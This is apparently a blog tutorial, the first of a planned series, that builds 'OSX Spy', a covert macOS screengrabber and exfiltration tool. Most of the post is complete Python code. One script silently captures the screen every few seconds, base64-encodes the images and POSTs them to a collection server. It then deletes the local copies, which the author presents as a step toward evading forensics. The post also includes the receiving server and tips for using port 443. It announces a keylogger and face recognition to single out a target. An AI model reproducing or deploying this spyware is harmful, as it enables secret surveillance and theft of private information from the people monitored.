OSX Spy – Part 1

I was inspired by this post https://hackernoon.com/writing-an-keylogger-for-macos-in-python-24adfa22722, but as always I thought, that’s cool but you know, we can do so much more. So, let’s do it then.

In 3 parts, we will be building the OSX Spy proof of concept, it will be a an OSX screengrabber and keylogger with covert exfiltration methods, to finish it off it will use facial recognition to detect the target and only activate the surveillance methods if we know it’s the target we are wanting to monitor.

The Plan:

If we are happy with the proof of concept, we can re-write it in GoLang to easily compile cross platform binaries that are still good at flying under the radar in vanilla format.

Screengrabber

Let’s capture the screen, we simply do a system call to native screengrab function, we pass -x to disable screenshot sound…

def capture_screen(i):
try:
# -x option to mute the screenshot-taking sound
system("screencapture -x /tmp/s{}.png".format(i))
except:
pass

Next we want to exfiltrate it, here we just convert image to base64 and send the data to our exfiltration server…

def exfil_image(i):
with open("/tmp/s{}.png".format(i), "rb") as image_file:
try:
encoded_string = base64.b64encode(image_file.read())
#params = urllib.urlencode({'image': encoded_string, 'id': '01'})
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
conn = httplib.HTTPConnection("localhost:8000")
conn.request("POST", "", encoded_string, headers)
response = conn.getresponse()
print response.status, response.reason
data = response.read()
conn.close()
except:
pass

Finally we want to delete the image and clean up, simply another system call…

def remove_image(i):
try:
system("rm /tmp/s{}.png".format(i))
except:
pass

In a real-world scenario we would not really want to even write the image to disk to start with, better for Anti-DFIR. We will fix this later in the series, for now we want to keep it simple.

Here is all the code along with the imports you need…

osxspy.py

import time
import sys
import itertools
from os import system
import base64
import httplib, urllib
def exfil_image(i):
with open("/tmp/s{}.png".format(i), "rb") as image_file:
try:
encoded_string = base64.b64encode(image_file.read())
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
conn = httplib.HTTPConnection("localhost:8000")
conn.request("POST", "", encoded_string, headers)
response = conn.getresponse()
print response.status, response.reason
data = response.read()
conn.close()
except:
pass
def remove_image(i):
try:
system("rm /tmp/s{}.png".format(i))
except:
pass
def capture_screen(i):
try:
# -x option to mute the screenshot-taking sound
system("screencapture -x /tmp/s{}.png".format(i))
except:
pass
def main():
while True:
try:
for i in itertools.count():
# -x option to mute the screenshot-taking sound
capture_screen(i)
exfil_image(i)
remove_image(i)
time.sleep(3)
except KeyboardInterrupt:
sys.exit(0)
if __name__== "__main__":
main()

Exfil Server

For now, this is really simple, we just grab incoming data, URL Decode it, base64 Decode it and then write image to disk…

body = self.rfile.read(content_length)
data = urllib.unquote(body).decode('utf8')
image_file = base64.b64decode(body)
with open("/tmp/image.png", 'wb') as f:
f.write(image_file)

Here is all the starter code for our exfiltration server…

exfilserver.py

from http.server import HTTPServer, BaseHTTPRequestHandler
from io import BytesIO
import base64
import urllib
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length)
data = urllib.unquote(body).decode('utf8')
image_file = base64.b64decode(body)
with open("/tmp/image.png", 'wb') as f:
f.write(image_file)
self.send_response(200)
self.end_headers()
httpd = HTTPServer(('localhost', 8000), SimpleHTTPRequestHandler)
httpd.serve_forever()

If you want to serve over another port, 443 then just change these two lines in each file…

osxspy.py

conn = httplib.HTTPConnection("localhost:443")

exfilserver.py

httpd = HTTPServer(('localhost', 443), SimpleHTTPRequestHandler)

In one terminal start it with python ‘osxspy.py’ and in another ‘python exfilserver.py’.

Here is one of the images osxspy.py took and exfiltrated, it’s creepy but you can see testing with the code editor in the background. Image has been cropped to sensitive host information.